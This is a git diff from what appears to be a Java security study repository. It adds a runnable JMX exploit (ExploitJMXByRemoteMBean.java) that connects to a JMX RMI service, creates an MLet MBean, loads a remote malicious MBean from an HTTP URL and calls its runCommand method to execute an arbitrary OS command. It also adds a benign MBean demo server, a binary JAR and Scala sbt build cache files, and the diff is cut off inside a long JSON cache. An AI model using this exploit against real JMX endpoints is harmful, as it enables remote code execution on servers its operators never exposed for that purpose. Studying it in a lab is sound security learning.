a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/ExploitJMXByRemoteMBean.java b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/ExploitJMXByRemoteMBean.java new file mode 100644 index 00000000..152c7878 --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/ExploitJMXByRemoteMBean.java @@ -0,0 +1,66 @@ +package com.drunkbaby.mlet; + +import javax.management.MBeanServerConnection; +import javax.management.ObjectInstance; +import javax.management.ObjectName; +import javax.management.remote.JMXConnector; +import javax.management.remote.JMXConnectorFactory; +import javax.management.remote.JMXServiceURL; +import java.net.MalformedURLException; +import java.util.HashSet; +import java.util.Iterator; + +public class ExploitJMXByRemoteMBean { + + public static void main(String[] args) { + try { +// connectAndOwn(args[0], args[1], args[2]); + connectAndOwn("localhost","1099","open -a Calculator"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException { + try { + // step1. 通过rmi创建 jmx连接 + JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); + System.out.println("URL: " + u + ", connecting"); + JMXConnector c = JMXConnectorFactory.connect(u); + System.out.println("Connected: " + c.getConnectionId()); + MBeanServerConnection m = c.getMBeanServerConnection(); + + // step2. 加载特殊MBean:javax.management.loading.MLet + ObjectInstance evil_bean = null; + ObjectInstance evil = null; + try { + evil = m.createMBean("javax.management.loading.MLet", null); + } catch (javax.management.InstanceAlreadyExistsException e) { + evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); + } + // step3:通过MLet加载远程恶意MBean + System.out.println("Loaded "+evil.getClassName()); + Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[] + { "http://localhost:4141/evil.html"}, + new String[] { String.class.getName() } ); + + HashSet res_set = ((HashSet)res); + Iterator itr = res_set.iterator(); + Object nextObject = itr.next(); + if (nextObject instanceof Exception) + { + throw ((Exception)nextObject); + } + evil_bean = ((ObjectInstance)nextObject); + + // step4: 执行恶意MBean + System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName()); + System.out.println("Calling runCommand with: "+command); + Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() }); + System.out.println("Result: "+result); + } catch (Exception e) + { + e.printStackTrace(); + } + } +} diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/JMX.jar b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/JMX.jar new file mode 100644 index 00000000..ba2a5d4b Binary files /dev/null and b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/JMX.jar differ diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/evil.html b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/evil.html new file mode 100644 index 00000000..6ed4d9dd --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/evil.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorld.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorld.java new file mode 100644 index 00000000..242db8dc --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorld.java @@ -0,0 +1,19 @@ +package org.example; + +public class HelloWorld implements HelloWorldMBean{ + private String name = "Drunkbaby"; + @Override + public void sayhello() { + System.out.println("hello world" + this.name); + } + + @Override + public int add(int x, int y) { + return x + y; + } + + @Override + public String getName() { + return this.name; + } +} diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorldMBean.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorldMBean.java new file mode 100644 index 00000000..22008cd7 --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorldMBean.java @@ -0,0 +1,7 @@ +package org.example; + +public interface HelloWorldMBean { + public void sayhello(); + public int add(int x, int y); + public String getName(); +} diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/Main.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/Main.java new file mode 100644 index 00000000..407f157b --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/Main.java @@ -0,0 +1,7 @@ +package org.example; + +public class Main { + public static void main(String[] args) { + System.out.println("Hello world!"); + } +} \ No newline at end of file diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/jmxDemo.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/jmxDemo.java new file mode 100644 index 00000000..8e04e43c --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/jmxDemo.java @@ -0,0 +1,32 @@ +package org.example; + +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; +import java.lang.management.ManagementFactory; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class jmxDemo { + public static void main(String[] args) throws Exception{ + MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); + ObjectName mbsName = new ObjectName("test:type=HelloWorld"); + HelloWorld mbean = new HelloWorld(); + mBeanServer.registerMBean(mbean, mbsName); + + // 创建一个 RMI Registry + Registry registry = LocateRegistry.createRegistry(1099); + // 构造 JMXServiceURL,绑定创建的 RMI + JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); + // 构造JMXConnectorServer,关联 mbserver + JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); + jmxConnectorServer.start(); + System.out.println("JMXConnectorServer is ready"); + + System.out.println("press any key to exit."); + System.in.read(); + + } +} diff --git a/JavaSecurity/JDK/JMX/src/main/resources/META-INF/MANIFEST.MF b/JavaSecurity/JDK/JMX/src/main/resources/META-INF/MANIFEST.MF new file mode 100644 index 00000000..c304d41c --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/resources/META-INF/MANIFEST.MF @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +Main-Class: org.example.Main + diff --git a/JavaSecurity/JDK/JMX/src/main/resources/evil.html b/JavaSecurity/JDK/JMX/src/main/resources/evil.html new file mode 100644 index 00000000..6ed4d9dd --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/resources/evil.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/.bsp/sbt.json b/JavaSecurity/JDK/Scala1/.bsp/sbt.json new file mode 100644 index 00000000..2386def0 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/.bsp/sbt.json @@ -0,0 +1 @@ +{"name":"sbt","version":"1.10.1","bspVersion":"2.1.0-M1","languages":["scala"],"argv":["/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/jre/bin/java","-Xms100m","-Xmx100m","-classpath","/Users/drunkbaby/Library/Application Support/JetBrains/IntelliJIdea2023.3/plugins/Scala/launcher/sbt-launch.jar","xsbt.boot.Boot","-bsp","--sbt-launch-jar=/Users/drunkbaby/Library/Application%20Support/JetBrains/IntelliJIdea2023.3/plugins/Scala/launcher/sbt-launch.jar"]} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/build.sbt b/JavaSecurity/JDK/Scala1/build.sbt new file mode 100644 index 00000000..9196b85f --- /dev/null +++ b/JavaSecurity/JDK/Scala1/build.sbt @@ -0,0 +1,8 @@ +ThisBuild / version := "0.1.0-SNAPSHOT" + +ThisBuild / scalaVersion := "2.13.8" + +lazy val root = (project in file(".")) + .settings( + name := "Scala1" + ) diff --git a/JavaSecurity/JDK/Scala1/project/build.properties b/JavaSecurity/JDK/Scala1/project/build.properties new file mode 100644 index 00000000..136f452e --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/build.properties @@ -0,0 +1 @@ +sbt.version = 1.10.1 diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac$.class new file mode 100644 index 00000000..60c7fc58 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac$.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.cache new file mode 100644 index 00000000..d8649da3 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.cache @@ -0,0 +1 @@ +root diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.class new file mode 100644 index 00000000..a53ae31a Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922$.class new file mode 100644 index 00000000..c907dfcf Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922$.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.cache new file mode 100644 index 00000000..050f36c6 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.cache @@ -0,0 +1 @@ +sbt.internal.DslEntry \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.class new file mode 100644 index 00000000..c72759da Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8$.class new file mode 100644 index 00000000..2776a0b2 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8$.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.cache new file mode 100644 index 00000000..050f36c6 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.cache @@ -0,0 +1 @@ +sbt.internal.DslEntry \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.class new file mode 100644 index 00000000..a05413db Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23$.class new file mode 100644 index 00000000..6ab0da25 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23$.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.cache new file mode 100644 index 00000000..050f36c6 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.cache @@ -0,0 +1 @@ +sbt.internal.DslEntry \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.class new file mode 100644 index 00000000..a0419df4 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/sync/copy-resource b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/sync/copy-resource new file mode 100644 index 00000000..9d348e7b --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/sync/copy-resource @@ -0,0 +1 @@ +[[{},{}],{}] \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/inputs b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/inputs new file mode 100644 index 00000000..2b158ad8 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/inputs @@ -0,0 +1 @@ +-702981080 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/output b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/output new file mode 100644 index 00000000..0ff60c10 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/output @@ -0,0 +1 @@ +{"cachedDescriptor":".","configurations":[{"configuration":{"name":"compile"},"modules":[],"details":[]},{"configuration":{"name":"compile-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"docs"},"modules":[],"details":[]},{"configuration":{"name":"optional"},"modules":[],"details":[]},{"configuration":{"name":"plugin"},"modules":[],"details":[]},{"configuration":{"name":"pom"},"modules":[],"details":[]},{"configuration":{"name":"provided"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"runtime"},"modules":[],"details":[]},{"configuration":{"name":"runtime-internal"},"modules":[],"details":[]},{"configuration":{"name":"scala-doc-tool"},"modules":[],"details":[]},{"configuration":{"name":"scala-tool"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.12.19","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-reflect","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-reflect","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang.modules","name":"scala-xml_2.12","revision":"2.2.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-lang","name":"*","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://javadoc.io/doc/org.scala-lang.modules/scala-xml_2.13/","info.versionScheme":"early-semver"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-xml_2.12","type":"bundle","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/modules/scala-xml_2.12/2.2.0/scala-xml_2.12-2.2.0.jar","extraAttributes":{"info.apiURL":"https://javadoc.io/doc/org.scala-lang.modules/scala-xml_2.13/","info.versionScheme":"early-semver"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/modules/scala-xml_2.12/2.2.0/scala-xml_2.12-2.2.0.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"http://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://javadoc.io/doc/org.scala-lang.modules/scala-xml_2.13/","info.versionScheme":"early-semver"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"jline","name":"jline","revision":"2.14.6","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jline","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/jline/jline/2.14.6/jline-2.14.6.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/jline/jline/2.14.6/jline-2.14.6.jar"]],"missingArtifacts":[],"evicted":false,"extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["The BSD 